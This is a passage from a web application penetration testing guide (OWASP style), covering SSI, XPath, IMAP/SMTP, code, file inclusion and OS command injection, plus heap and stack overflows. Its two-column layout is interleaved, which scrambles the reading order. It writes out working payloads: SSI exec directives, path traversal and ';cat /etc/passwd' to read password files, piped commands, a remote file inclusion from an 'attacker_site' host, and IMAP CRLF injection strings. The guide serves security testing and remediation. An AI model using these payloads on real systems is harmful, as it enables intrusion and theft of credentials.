include external files, to set and print web server CGI environment extension is not mandatory, so not having found any shtml files
variables, and to execute external CGI scripts or system com- doesn’t necessarily mean that the target is not prone to SSI injec-
mands. tion attacks.

Putting an SSI directive into a static HTML document is as easy as The next step consists of determining if an SSI injection attack is
writing a piece of code like the following: actually possible and, if so, what are the input points that we can
use to inject our malicious code.
<!--#echo var=”DATE_LOCAL” -->
The testing activity required to do this is exactly the same used to
test for other code injection vulnerabilities. In particular, we need
to print out the current time. to find every page where the user is allowed to submit some kind
of input, and verify whether the application is correctly validating
the submitted input. If sanitization is insufficient, we need to test
<!--#include virtual=”/cgi-bin/counter.pl” -->
if we can provide data that is going to be displayed unmodified (for
example, in an error message or forum post). Besides common
to include the output of a CGI script. user-supplied data, input vectors that should always be consid-
ered are HTTP request headers and cookies content, since they
<!--#include virtual=”/footer.html” --> can be easily forged.

Once we have a list of potential injection points, we can check if


to include the content of a file or list files in a directory. the input is correctly validated and then find out where the pro-
vided input is stored. We need to make sure that we can inject
<!--#exec cmd=”ls” --> characters used in SSI directives:

< ! # = / . “ - > and [a-zA-Z0-9]


to include the output of a system command.

Then, if the web server’s SSI support is enabled, the server will To test if validation is insufficient, we can input, for example, a
parse these directives. In the default configuration, usually, most string like the following in an input form:
138

Web Application Penetration Testing

Testing for XPath Injection (OTG-INPVAL-010)


<!--#include virtual=”/etc/passwd” -->
Summary
XPath is a language that has been designed and developed pri-
This is similar to testing for XSS vulnerabilities using marily to address parts of an XML document. In XPath injection
testing, we test if it is possible to inject XPath syntax into a re-
<script>alert(“XSS”)</script>
quest interpreted by the application, allowing an attacker to exe-
cute user-controlled XPath queries.When successfully exploited,
If the application is vulnerable, the directive is injected and it would this vulnerability may allow an attacker to bypass authentication
be interpreted by the server the next time the page is served, thus mechanisms or access information without proper authorization.
including the content of the Unix standard password file.
Web applications heavily use databases to store and access the
The injection can be performed also in HTTP headers, if the web data they need for their operations.Historically, relational databas-
application is going to use that data to build a dynamically gener- es have been by far the most common technology for data stor-
ated page: age, but, in the last years, we are witnessing an increasing popu-
larity for databases that organize data using the XML language.
GET / HTTP/1.0 Just like relational databases are accessed via SQL language, XML
Referer: <!--#exec cmd=”/bin/ps ax”--> databases use XPath as their standard query language.
User-Agent: <!--#include virtual=”/proc/version”-->
Since, from a conceptual point of view, XPath is very similar to SQL
in its purpose and applications, an interesting result is that XPath
Gray Box testing injection attacks follow the same logic as SQL Injection attacks. In
If we have access to the application source code, we can quite some aspects, XPath is even more powerful than standard SQL, as
easily find out: its whole power is already present in its specifications, whereas a
large number of the techniques that can be used in a SQL Injection
[1] If SSI directives are used. If they are, then the web server is attack depend on the characteristics of the SQL dialect used by
going to have SSI support enabled, making SSI injection at least the target database. This means that XPath injection attacks can
a potential issue to investigate. be much more adaptable and ubiquitous.Another advantage of an
[2] Where user input, cookie content and HTTP headers are XPath injection attack is that, unlike SQL, no ACLs are enforced, as
handled. The complete list of input vectors is then quickly our query can access every part of the XML document.
determined.
[3] How the input is handled, what kind of filtering is performed, How to Test
what characters the application is not letting through, and how The XPath attack pattern was first published by Amit Klein [1]
many types of encoding are taken into account. and is very similar to the usual SQL Injection.In order to get a first
grasp of the problem, let’s imagine a login page that manages the
Performing these steps is mostly a matter of using grep to find authentication to an application in which the user must enter his/
the right keywords inside the source code (SSI directives, CGI en- her username and password.Let’s assume that our database is
vironment variables, variables assignment involving user input, represented by the following XML file:
filtering functions and so on).

Tools <?xml version=”1.0” encoding=”ISO-8859-1”?>


• Web Proxy Burp Suite - http://portswigger.net <users>
• Paros - http://www.parosproxy.org/index.shtml <user>
• WebScarab <username>gandalf</username>
• String searcher: grep - http://www.gnu.org/software/grep <password>!c3</password>
<account>admin</account>
References </user>
Whitepapers <user>
• Apache Tutorial: “Introduction to Server Side Includes” <username>Stefan0</username>
- http://httpd.apache.org/docs/1.3/howto/ssi.html <password>w1s3c</password>
• Apache: “Module mod_include” - http://httpd.apache.org/ <account>guest</account>
docs/1.3/mod/mod_include.html </user>
• Apache: “Security Tips for Server Configuration” - http://httpd. <user>
apache.org/docs/1.3/misc/security_tips.html#ssi <username>tony</username>
• Header Based Exploitation - http://www.cgisecurity.net/papers/ <password>Un6R34kb!e</password>
header-based-exploitation.txt <account>guest</account>
• SSI Injection instead of JavaScript Malware - http:// </user>
jeremiahgrossman.blogspot.com/2006/08/ssi-injection- </users>
instead-of-javascript.html
• IIS: “Notes on Server-Side Includes (SSI) syntax” - http://blogs.
iis.net/robert_mcmurray/archive/2010/12/28/iis-notes-on- An XPath query that returns the account whose username is “gan-
server-side-includes-ssi-syntax-kb-203064-revisited.aspx dalf” and the password is “!c3” would be the following:
139

Web Application Penetration Testing

front-end web servers.Therefore, mail server results may be more


string(//user[username/text()=’gandalf’ and password/tex- vulnerable to attacks by end users (see the scheme presented in
t()=’!c3’]/account/text()) Figure 1).

If the application does not properly filter user input, the tester will
WEBMAIL USER
be able to inject XPath code and interfere with the query result.
For instance, the tester could input the following values:
1
Username: ‘ or ‘1’ = ‘1
Password: ‘ or ‘1’ = ‘1

Looks quite familiar, doesn’t it? Using these parameters, the query
becomes:
INTERNET
string(//user[username/text()=’’ or ‘1’ = ‘1’ and password/
text()=’’ or ‘1’ = ‘1’]/account/text())

As in a common SQL Injection attack, we have created a query


PUBLIC ZONE
that always evaluates to true, which means that the application
will authenticate the user even if a username or a password have
not been provided. And as in a common SQL Injection attack, with 2
XPath injection, the first step is to insert a single quote (‘) in the
field to be tested, introducing a syntax error in the query, and to
check whether the application returns an error message.

If there is no knowledge about the XML data internal details and if the
application does not provide useful error messages that help us re-
construct its internal logic, it is possible to perform a Blind XPath In-
jection attack, whose goal is to reconstruct the whole data structure.
The technique is similar to inference based SQL Injection, as the WEBMAIL APPLICATION
approach is to inject code that creates a query that returns one bit
of information. Blind XPath Injection is explained in more detail by
Amit Klein in the referenced paper.
2 3
References
Whitepapers
• Amit Klein: “Blind XPath Injection” - PRIVATE ZONE (HIDDEN SERVERS)
http://www.modsecurity.org/archive/amit/blind-xpath-
injection.pdf
• XPath 1.0 specifications - http://www.w3.org/TR/xpath

Testing for IMAP/SMTP Injection


(OTG-INPVAL-011)
Summary
This threat affects all applications that communicate with mail MAIL SERVERS
servers (IMAP/SMTP), generally webmail applications. The aim of
this test is to verify the capacity to inject arbitrary IMAP/SMTP
commands into the mail servers, due to input data not being prop- Figure 1 depicts the flow of traffic generally seen when using
erly sanitized. webmail technologies. Step 1 and 2 is the user interacting with
the webmail client, whereas step 2 is the tester bypassing the
The IMAP/SMTP Injection technique is more effective if the mail webmail client and interacting with the back-end mail servers
server is not directly accessible from Internet. Where full commu- directly.
nication with the backend mail server is possible, it is recommend-
ed to conduct direct testing. This technique allows a wide variety of actions and attacks. The
possibilities depend on the type and scope of injection and the
An IMAP/SMTP Injection makes it possible to access a mail server mail server technology being tested.
which otherwise would not be directly accessible from the Inter-
net. In some cases, these internal systems do not have the same Some examples of attacks using the IMAP/SMTP Injection tech-
level of infrastructure security and hardening that is applied to the nique are:
140

Web Application Penetration Testing

• Exploitation of vulnerabilities in the IMAP/SMTP protocol


• Application restrictions evasion http://<webmail>/src/read_body.php?mailbox=&passed_
• Anti-automation process evasion id=46106&startMessage=1
• Information leaks
• Relay/SPAM • Substitute the value with a random value:

How to Test http://<webmail>/src/read_body.php?mailbox=NOTEXIST&-


The standard attack patterns are: passed_id=46106&startMessage=1
• Identifying vulnerable parameters
• Understanding the data flow and deployment structure • Add other values to the parameter:
of the client
• IMAP/SMTP command injection http://<webmail>/src/read_body.php?mailbox=INBOX PA-
RAMETER2&passed_id=46106&startMessage=1
Identifying vulnerable parameters
In order to detect vulnerable parameters, the tester has to an-
alyze the application’s ability in handling input. Input validation • Add non standard special characters (i.e.: \, ‘, “, @, #, !, |):
testing requires the tester to send bogus, or malicious, requests
to the server and analyse the response. In a secure application, http://<webmail>/src/read_body.php?mailbox=INBOX”&-
the response should be an error with some corresponding action passed_id=46106&startMessage=1
telling the client that something has gone wrong. In a vulnera-
ble application, the malicious request may be processed by the
back-end application that will answer with a “HTTP 200 OK” re- • Eliminate the parameter:
sponse message.
http://<webmail>/src/read_body.php?passed_
It is important to note that the requests being sent should match id=46106&startMessage=1
the technology being tested. Sending SQL injection strings for
Microsoft SQL server when a MySQL server is being used will re- The final result of the above testing gives the tester three pos-
sult in false positive responses. In this case, sending malicious sible situations:
IMAP commands is modus operandi since IMAP is the underlying
protocol being tested. S1 - The application returns a error code/message
S2 - The application does not return an error code/message, but
IMAP special parameters that should be used are: it does not realize the requested operation
S3 - The application does not return an error code/message and
On the IMAP server On the SMTP server realizes the operation requested normally
Situations S1 and S2 represent successful IMAP/SMTP injection.
Authentication Emissor e-mail
An attacker’s aim is receiving the S1 response, as it is an indi-
operations with mail boxes Destination e-mail cator that the application is vulnerable to injection and further
manipulation.
(list, read, create, delete,
rename) Let’s suppose that a user retrieves the email headers using the
following HTTP request:
operations with messages Subject
(read, copy, move, delete) http://<webmail>/src/view_header.php?mailbox=INBOX&-
passed_id=46105&passed_ent_id=0
Disconnection Message body
An attacker might modify the value of the parameter INBOX by
injecting the character “ (%22 using URL encoding):
Attached files
http://<webmail>/src/view_header.php?mailbox=INBOX-
In this example, the “mailbox” parameter is being tested by ma- %22&passed_id=46105&passed_ent_id=0
nipulating all requests with the parameter in:

In this case, the application answer may be:


http://<webmail>/src/read_body.php?mailbox=INBOX&-
passed_id=46106&startMessage=1
ERROR: Bad or malformed request.
Query: SELECT “INBOX””
The following examples can be used. Server responded: Unexpected extra arguments to Select
• Assign a null value to the parameter:
141

Web Application Penetration Testing

The situation S2 is harder to test successfully. The tester needs Result Expected:
to use blind command injection in order to determine if the serv-
er is vulnerable. • List of IMAP/SMTP commands affected
• Type, value, and number of parameters expected by the
On the other hand, the last situation (S3) is not revelant in this affected IMAP/SMTP commands
paragraph.
IMAP/SMTP command injection
Result Expected: Once the tester has identified vulnerable parameters and has
analyzed the context in which they are executed, the next stage
• List of vulnerable parameters is exploiting the functionality.
• Affected functionality
• Type of possible injection (IMAP/SMTP) This stage has two possible outcomes:
[1] The injection is possible in an unauthenticated state:
Understanding the data flow and deployment structure of the the affected functionality does not require the user to be
client authenticated. The injected (IMAP) commands available are
After identifying all vulnerable parameters (for example, limited to: CAPABILITY, NOOP, AUTHENTICATE, LOGIN, and
“passed_id”), the tester needs to determine what level of injec- LOGOUT.
tion is possible and then design a testing plan to further exploit [2] The injection is only possible in an authenticated state:
the application. the successful exploitation requires the user to be fully
authenticated before testing can continue.
In this test case, we have detected that the application’s
“passed_id” parameter is vulnerable and is used in the following In any case, the typical structure of an IMAP/SMTP Injection is
request: as follows:

http://<webmail>/src/read_body.php?mailbox=INBOX&- • Header: ending of the expected command;


passed_id=46225&startMessage=1 • Body: injection of the new command;
• Footer: beginning of the expected command.

Using the following test case (providing an alphabetical value It is important to remember that, in order to execute an IMAP/
when a numerical value is required): SMTP command, the previous command must be terminated
with the CRLF (%0d%0a) sequence.
http://<webmail>/src/read_body.php?mailbox=INBOX&-
passed_id=test&startMessage=1 Let’s suppose that in the stage 1 (“Identifying vulnerable param-
eters”), the attacker detects that the parameter “message_id” in
the following request is vulnerable:
will generate the following error message:
http://<webmail>/read_email.php?message_id=4791
ERROR : Bad or malformed request.
Query: FETCH test:test BODY[HEADER]
Server responded: Error in IMAP command received by Let’s suppose also that the outcome of the analysis performed
server. in the stage 2 (“Understanding the data flow and deployment
structure of the client”) has identified the command and argu-
ments associated with this parameter as:
In this example, the error message returned the name of the ex-
ecuted command and the corresponding parameters. FETCH 4791 BODY[HEADER]

In other situations, the error message (“not controlled” by the


application) contains the name of the executed command, but In this scenario, the IMAP injection structure would be:
reading the suitable RFC (see “Reference” paragraph) allows the
tester to understand what other possible commands can be ex- http://<webmail>/read_email.php?message_id=4791
ecuted. BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101
FETCH 4791
If the application does not return descriptive error messages, the
tester needs to analyze the affected functionality to deduce all
the possible commands (and parameters) associated with the Which would generate the following commands:
above mentioned functionality.
For example, if a vulnerable parameter has been detected in the
create mailbox functionality, it is logical to assume that the af- ???? FETCH 4791 BODY[HEADER]
fected IMAP command is “CREATE”. According to the RFC, the V100 CAPABILITY
CREATE command accepts one parameter which specifies the V101 FETCH 4791 BODY[HEADER]
name of the mailbox to create.
142

Web Application Penetration Testing

where:
‘Data.txt is executed
Header = 4791 BODY[HEADER] Server.Execute( “data.txt” )
Body = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791
Else
Result Expected: %>
• Arbitrary IMAP/SMTP command injection <form>
<input name=”Data” /><input type=”submit” name=”Enter
References Data” />
Whitepapers </form>
• RFC 0821 “Simple Mail Transfer Protocol”. <%
• RFC 3501 “Internet Message Access Protocol - Version 4rev1”. End If
• Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting %>)))
Hidden Mail Servers” - http://www.webappsec.org/projects/
articles/121106.pdf
References
Testing for Code Injection • Security Focus - http://www.securityfocus.com
(OTG-INPVAL-012) • Insecure.org - http://www.insecure.org
Summary • Wikipedia - http://www.wikipedia.org
This section describes how a tester can check if it is possible to • Reviewing Code for OS Injection
enter code as input on a web page and have it executed by the
web server. Testing for Local File Inclusion
Summary
In Code Injection testing, a tester submits input that is processed The File Inclusion vulnerability allows an attacker to include a file,
by the web server as dynamic code or as an included file. These usually exploiting a “dynamic file inclusion” mechanisms imple-
tests can target various server-side scripting engines, e.g.., ASP mented in the target application. The vulnerability occurs due to
or PHP. Proper input validation and secure coding practices need the use of user-supplied input without proper validation.
to be employed to protect against these attacks.
This can lead to something as outputting the contents of the file,
How to Test but depending on the severity, it can also lead to:
Black Box testing
Testing for PHP Injection vulnerabilities • Code execution on the web server
Using the querystring, the tester can inject code (in this example, • Code execution on the client-side such as JavaScript which can
a malicious URL) to be processed as part of the included file: lead to other attacks such as cross site scripting (XSS)
Result Expected: • Denial of Service (DoS)
• Sensitive Information Disclosure
http://www.example.com/uptime.php?pin=http://www.
example2.com/packx1/cs.jpg?&cmd=uname%20-a Local File Inclusion (also known as LFI) is the process of including
files, that are already locally present on the server, through the
exploiting of vulnerable inclusion procedures implemented in the
The malicious URL is accepted as a parameter for the PHP page, application. This vulnerability occurs, for example, when a page
which will later use the value in an included file. receives, as input, the path to the file that has to be included and
this input is not properly sanitized, allowing directory travers-
Gray Box testing al characters (such as dot-dot-slash) to be injected. Although
Testing for ASP Code Injection vulnerabilities most examples point to vulnerable PHP scripts, we should keep
Examine ASP code for user input used in execution functions. in mind that it is also common in other technologies such as JSP,
Can the user enter commands into the Data input field? Here, the ASP and others.
ASP code will save the input to a file and then execute it:
How to Test
Since LFI occurs when paths passed to “include” statements are
<%
not properly sanitized, in a blackbox testing approach, we should
If not isEmpty(Request( “Data” ) ) Then
look for scripts which take filenames as parameters.
Dim fso, f
‘User input Data is written to a file named data.txt
Consider the following example:
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set f = fso.OpenTextFile(Server.MapPath( “data.txt” ), 8, True)
f.Write Request(“Data”) & vbCrLf http://vulnerable_host/preview.php?file=example.html
f.close
Set f = nothing
This looks as a perfect place to try for LFI. If an attacker is lucky
Set fso = Nothing
enough, and instead of selecting the appropriate page from the
143

Web Application Penetration Testing

array by its name, the script directly includes the input parame- to other attacks such as cross site scripting (XSS)
ter, it is possible to include arbitrary files on the server. • Denial of Service (DoS)
• Sensitive Information Disclosure
Typical proof-of-concept would be to load passwd file:
Remote File Inclusion (also known as RFI) is the process of including
http://vulnerable_host/preview.php?file=../../../../etc/passwd remote files through the exploiting of vulnerable inclusion proce-
dures implemented in the application. This vulnerability occurs, for
example, when a page receives, as input, the path to the file that has
If the above mentioned conditions are met, an attacker would to be included and this input is not properly sanitized, allowing exter-
see something like the following: nal URL to be injected. Although most examples point to vulnerable
PHP scripts, we should keep in mind that it is also common in other
technologies such as JSP, ASP and others.
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
How to Test
daemon:x:2:2:daemon:/sbin:/sbin/nologin
Since RFI occurs when paths passed to “include” statements are not
alex:x:500:500:alex:/home/alex:/bin/bash
properly sanitized, in a blackbox testing approach, we should look for
margo:x:501:501::/home/margo:/bin/bash
scripts which take filenames as parameters. Consider the following
...
PHP example:

Very often, even when such vulnerability exists, its exploitation is a $incfile = $_REQUEST[“file”];
bit more complex. Consider the following piece of code: include($incfile.”.php”);

<?php “include/”.include($_GET[‘filename’].“.php”); ?>


In this example the path is extracted from the HTTP request and no
input validation is done (for example, by checking the input against a
In the case, simple substitution with arbitrary filename would not white list), so this snippet of code results vulnerable to this type of
work as the postfix ‘php’ is appended. In order to bypass it, a tech- attack. Consider infact the following URL:
nique with null-byte terminators is used. Since %00 effectively pres-
ents the end of the string, any characters after this special byte will
http://vulnerable_host/vuln_page.php?file=http://attack-
be ignored. Thus, the following request will also return an attacker
er_site/malicous_page
list of basic users attributes:

http://vulnerable_host/preview.php?file=../../../../etc/pass- In this case the remote file is going to be included and any code con-
wd%00 tained in it is going to be run by the server.

References
References Whitepapers
• Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion • “Remote File Inclusion” - http://projects.webappsec.org/w/
• Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion page/13246955/Remote%20File%20Inclusion
• Wikipedia: “Remote File Inclusion” - http://en.wikipedia.org/wiki/
Remediation Remote_File_Inclusion
The most effective solution to eliminate file inclusion vulnerabilities
is to avoid passing user-submitted input to any filesystem/frame- Remediation
work API. If this is not possible the application can maintain a white The most effective solution to eliminate file inclusion vulnerabilities
list of files, that may be included by the page, and then use an identi- is to avoid passing user-submitted input to any filesystem/frame-
fier (for example the index number) to access to the selected file. Any work API. If this is not possible the application can maintain a white
request containing an invalid identifier has to be rejected, in this way list of files, that may be included by the page, and then use an identi-
there is no attack surface for malicious users to manipulate the path. fier (for example the index number) to access to the selected file. Any
request containing an invalid identifier has to be rejected, in this way
Testing for Remote File Inclusion there is no attack surface for malicious users to manipulate the path.
Summary
The File Inclusion vulnerability allows an attacker to include a file, Testing for Command Injection (OTG-INPVAL-013)
usually exploiting a “dynamic file inclusion” mechanisms implement- Summary
ed in the target application. The vulnerability occurs due to the use of This article describes how to test an application for OS command in-
user-supplied input without proper validation. jection. The tester will try to inject an OS command through an HTTP
request to the application.
This can lead to something as outputting the contents of the file, but
depending on the severity, it can also lead to: OS command injection is a technique used via a web interface in
order to execute OS commands on a web server. The user supplies
• Code execution on the web server operating system commands through a web interface in order to ex-
• Code execution on the client-side such as JavaScript which can lead ecute OS commands. Any web interface that is not properly sanitized
144

Web Application Penetration Testing

is subject to this exploit. With the ability to execute OS commands, If the application doesn’t validate the request, we can obtain the fol-
the user can upload malicious programs or even obtain passwords. lowing result:
OS command injection is preventable when security is emphasized
during the design and development of applications. POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
How to Test User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
When viewing a file in a web application, the file name is often shown rv:1.8.1) Gecko/20061010 FireFox/2.0
in the URL. Perl allows piping data from a process into an open state- Accept: text/xml,application/xml,application/xhtml+xml,text/
ment. The user can simply append the Pipe symbol “|” onto the end html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
of the file name. Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Example URL before alteration: Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Example URL modified: Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E-
34F24A0A5
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls| Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33
This will execute the command “/bin/ls”.
Doc=Doc1.pdf+|+Dir c:\
Appending a semicolon to the end of a URL for a .PHP page followed
by an operating system command, will execute the command. %3B is
url encoded and decodes to semicolon In this case, we have successfully performed an OS injection attack.

Example:
Exec Results for ‘cmd.exe /c type “C:\httpd\public\
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd doc\”Doc=Doc1.pdf+|+Dir c:\’
Output...
Il volume nell’unità C non ha etichetta.
Example Numero di serie Del volume: 8E3F-4B61
Consider the case of an application that contains a set of documents Directory of c:\
that you can browse from the Internet. If you fire up WebScarab, you 18/10/2006 00:27 2,675 Dir_Prog.txt
can obtain a POST HTTP like the following: 18/10/2006 00:28 3,887 Dir_ProgFile.txt
In this post request, we notice how the application retrieves the pub- 16/11/2006 10:43
lic documentation. Now we can test if it is possible to add an operat- Doc
ing system command to inject in the POST HTTP. Try the following: 11/11/2006 17:25
Documents and Settings
POST http://www.example.com/public/doc HTTP/1.1 25/10/2006 03:11
Host: www.example.com I386
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; 14/11/2006 18:51
rv:1.8.1) Gecko/20061010 FireFox/2.0 h4ck3r
Accept: text/xml,application/xml,application/xhtml+xml,- 30/09/2005 21:40 25,934
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 OWASP1.JPG
03/11/2006 18:29
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Prog
Accept-Encoding: gzip,deflate
18/11/2006 11:20
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Program Files
Keep-Alive: 300
16/11/2006 21:12
Proxy-Connection: keep-alive
Software
Referer: http://127.0.0.1/WebGoat/attack?Screen=20 24/10/2006 18:25
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E- Setup
34F24A0A5 24/10/2006 23:37
Authorization: Basic T2Vbc1Q9Z3V2Tc3e= Technologies
Content-Type: application/x-www-form-urlencoded 18/11/2006 11:14
Content-length: 33 3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Doc=Doc1.pdf Return code: 0
145

Web Application Penetration Testing

Tools in these tags is overwritten. When the heap management rou-


• OWASP WebScarab tine frees the buffer, a memory address overwrite takes place
• OWASP WebGoat leading to an access violation. When the overflow is executed in a
controlled fashion, the vulnerability would allow an adversary to
References overwrite a desired memory location with a user-controlled val-
White papers ue. In practice, an attacker would be able to overwrite function
• http://www.securityfocus.com/infocus/1709 pointers and various addresses stored in structures like GOT,
.dtors or TEB with the address of a malicious payload.
Remediation
Sanitization There are numerous variants of the heap overflow (heap cor-
The URL and form data needs to be sanitized for invalid charac- ruption) vulnerability that can allow anything from overwriting
ters. A “blacklist” of characters is an option but it may be difficult function pointers to exploiting memory management structures
to think of all of the characters to validate against. Also there for arbitrary code execution. Locating heap overflows requires
may be some that were not discovered as of yet. A “white list” closer examination in comparison to stack overflows, since there
containing only allowable characters should be created to vali- are certain conditions that need to exist in the code for these
date the user input. Characters that were missed, as well as un- vulnerabilities to be exploitable.
discovered threats, should be eliminated by this list.
Permissions How to Test
Black Box testing
The web application and its components should be running under The principles of black box testing for heap overflows remain the
strict permissions that do not allow operating system command same as stack overflows. The key is to supply as input strings
execution. Try to verify all these informations to test from a Gray that are longer than expected. Although the test process re-
Box point of view mains the same, the results that are visible in a debugger are
significantly different. While in the case of a stack overflow, an
Testing for Buffer Overflow (OTG-INPVAL-014) instruction pointer or SEH overwrite would be apparent, this
Summary does not hold true for a heap overflow condition. When debug-
To find out more about buffer overflow vulnerabilities, please go ging a windows program, a heap overflow can appear in several
to Buffer Overflow pages. different forms, the most common one being a pointer exchange
taking place after the heap management routine comes into ac-
See the OWASP article on Buffer Overflow Attacks. tion. Shown below is a scenario that illustrates a heap overflow
vulnerability.
See the OWASP article on Buffer Overflow Vulnerabilities.

How to test
Different types of buffer overflow vulnerabilities have different
testing methods. Here are the testing methods for the common
types of buffer overflow vulnerabilities.

• Testing for heap overflow vulnerability


• Testing for stack overflow vulnerability
• Testing for format string vulnerability

Code Review
See the OWASP Code Review Guide article on how to Review
Code for Buffer Overruns and Overflows Vulnerabilities.

Remediation
See the OWASP Development Guide article on how to Avoid Buf-
fer Overflow Vulnerabilities.
The two registers shown, EAX and ECX, can be populated with
Testing for Heap Overflow user supplied addresses which are a part of the data that is used
Summary to overflow the heap buffer. One of the addresses can point to a
In this test the penetration tester checks whether a they can function pointer which needs to be overwritten, for example UEF
make a Heap overflow that exploits a memory segment. (Unhandled Exception filter), and the other can be the address of
user supplied code that needs to be executed.
Heap is a memory segment that is used for storing dynamical-
ly allocated data and global variables. Each chunk of memory in When the MOV instructions shown in the left pane are execut-
heap consists of boundary tags that contain memory manage- ed, the overwrite takes place and, when the function is called,
ment information. user supplied code gets executed. As mentioned previously, oth-
er methods of testing such vulnerabilities include reverse engi-
When a heap-based buffer is overflowed the control information neering the application binaries, which is a complex and tedious
146

Web Application Penetration Testing

process, and using fuzzing techniques. The malloc in line 1 allocates memory based on the value of
length, which happens to be a 32 bit integer. In this particular ex-
Gray Box testing ample, length is user-controllable and a malicious TNEF file can
When reviewing code, one must realize that there are several be crafted to set length to ‘-1’, which would result in malloc( 0 ).
avenues where heap related vulnerabilities may arise. Code that Therefore, this malloc would allocate a small heap buffer, which
seems innocuous at the first glance can actually be vulnerable would be 16 bytes on most 32 bit platforms (as indicated in mal-
under certain conditions. Since there are several variants of this loc.h).
vulnerability, we will cover only the issues that are predominant.
And now, in line 2, a heap overflow occurs in the call to fread(
Most of the time, heap buffers are considered safe by a lot of de- ). The 3rd argument, in this case length, is expected to be a
velopers who do not hesitate to perform insecure operations like size_t variable. But if it’s going to be ‘-1’, the argument wraps to
strcpy( ) on them. The myth that a stack overflow and instruction 0xFFFFFFFF, thus copying 0xFFFFFFFF bytes into the 16 byte
pointer overwrite are the only means to execute arbitrary code buffer.
proves to be hazardous in case of code shown below:-
Static code analysis tools can also help in locating heap related
int main(int argc, char *argv[]) vulnerabilities such as “double free” etc. A variety of tools like
{ RATS, Flawfinder and ITS4 are available for analyzing C-style
languages.
……
Tools
vulnerable(argv[1]); • OllyDbg: “A windows based debugger used for analyzing buffer
return 0; overflow vulnerabilities” - http://www.ollydbg.de
} • Spike, A fuzzer framework that can be used to explore
vulnerabilities and perform length testing -
http://www.immunitysec.com/downloads/SPIKE2.9.tgz
int vulnerable(char *buf) • Brute Force Binary Tester (BFB), A proactive binary checker -
{ http://bfbtester.sourceforge.net
• Metasploit, A rapid exploit development and Testing frame
HANDLE hp = HeapCreate(0, 0, 0); work - http://www.metasploit.com

References

Whitepapers
HLOCAL chunk = HeapAlloc(hp, 0, 260); • w00w00: “Heap Overflow Tutorial” -
http://www.cgsecurity.org/exploit/heaptut.txt
strcpy(chunk, buf); ‘’’ Vulnerability’’’ • David Litchfield: “Windows Heap Overflows” -
http://www.blackhat.com/presentations/win-usa-04/bh-
…….. win-04-litchfield/bh-win-04-litchfield.ppt

return 0; Testing for Stack Overflow


} Summary
Stack overflows occur when variable size data is copied into fixed
length buffers located on the program stack without any bounds
In this case, if buf exceeds 260 bytes, it will overwrite pointers in checking. Vulnerabilities of this class are generally considered to
the adjacent boundary tag, facilitating the overwrite of an arbi- be of high severity since their exploitation would mostly permit
trary memory location with 4 bytes of data once the heap man- arbitrary code execution or Denial of Service. Rarely found in in-
agement routine kicks in. terpreted platforms, code written in C and similar languages is
often ridden with instances of this vulnerability. In fact almost
Lately, several products, especially anti-virus libraries, have every platform is vulnerable to stack overflows with the follow-
been affected by variants that are combinations of an integer ing notable exceptions:
overflow and copy operations to a heap buffer. As an example,
consider a vulnerable code snippet, a part of code responsible for • J2EE – as long as native methods or system calls are not
processing TNEF filetypes, from Clam Anti Virus 0.86.1, source invoked
file tnef.c and function tnef_message( ): • .NET – as long as /unsafe or unmanaged code is not invoked
(such as the use of P/Invoke or COM Interop)
• PHP – as long as external programs and vulnerable PHP
string = cli_malloc(length + 1); ‘’’ Vulnerability’’’ extensions written in C or C++ are not called can suffer from
if(fread(string, 1, length, fp) != length) {‘’’ Vulnerability’’’ stack overflow issues.
free(string);
return -1; Stack overflow vulnerabilities often allow an attacker to directly
} take control of the instruction pointer and, therefore, alter the
execution of the program and execute arbitrary code. Besides
147

Web Application Penetration Testing

overwriting the instruction pointer, similar results can also be On opening the executable with the supplied arguments and
obtained by overwriting other variables and structures, like Ex- continuing execution the following results are obtained.
ception Handlers, which are located on the stack.

How to Test
Black Box testing
The key to testing an application for stack overflow vulnerabili-
ties is supplying overly large input data as compared to what is
expected. However, subjecting the application to arbitrarily large
data is not sufficient. It becomes necessary to inspect the appli-
cation’s execution flow and responses to ascertain whether an
